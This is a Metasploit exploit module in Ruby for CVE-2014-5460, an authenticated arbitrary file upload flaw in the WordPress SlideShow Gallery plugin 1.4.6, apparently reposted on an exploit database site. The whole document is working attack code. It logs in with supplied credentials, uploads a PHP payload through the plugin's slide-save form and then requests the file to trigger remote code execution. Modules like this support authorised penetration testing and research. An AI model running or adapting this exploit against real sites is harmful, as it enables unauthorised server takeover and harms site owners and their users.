## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload', 'Description' => %q{ The Wordpress SlideShow Gallery plugin contains an authenticated file upload vulnerability. We can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type. }, 'Author' => [ 'Jesus Ramirez Pichardo', # Vulnerability discovery 'Roberto Soares Espreto ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5460'], ['EDB', '34681'], ['WPVDB', '7532'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['WP SlideShow Gallery 1.4.6', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 28 2014')) register_options( [ OptString.new('WP_USER', [true, 'A valid username', nil]), OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]) ], self.class) end def user datastore['WP_USER'] end def password datastore['WP_PASSWORD'] end def check check_plugin_version_from_readme('slideshow-gallery', '1.4.7') end def exploit print_status("#{peer} - Trying to login as #{user}") cookie = wordpress_login(user, password) if cookie.nil? print_error("#{peer} - Unable to login as #{user}") return end print_status("#{peer} - Trying to upload payload") filename = "#{rand_text_alpha_lower(8)}.php" data = Rex::MIME::Message.new data.add_part("", nil, nil, 'form-data; name="Slide[id]"') data.add_part("", nil, nil, 'form-data; name="Slide[link]"') data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"') data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"') data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"') data.add_part('file', nil, nil, 'form-data; name="Slide[type]"') data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"') data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"') data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"') data.add_part("", nil, nil, 'form-data; name="Slide[order]"') data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"') data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"") post_data = data.to_s print_status("#{peer} - Uploading payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'vars_get' => { 'page' => 'slideshow-slides', 'method' => 'save' }, 'data' => post_data, 'cookie' => cookie }) if res if res.code == 200 register_files_for_cleanup(filename) else fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.") end else fail_with(Failure::Unknown, 'Server did not respond in an expected way') end print_status("#{peer} - Calling uploaded file #{filename}") send_request_cgi( 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename) ) end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-04-22]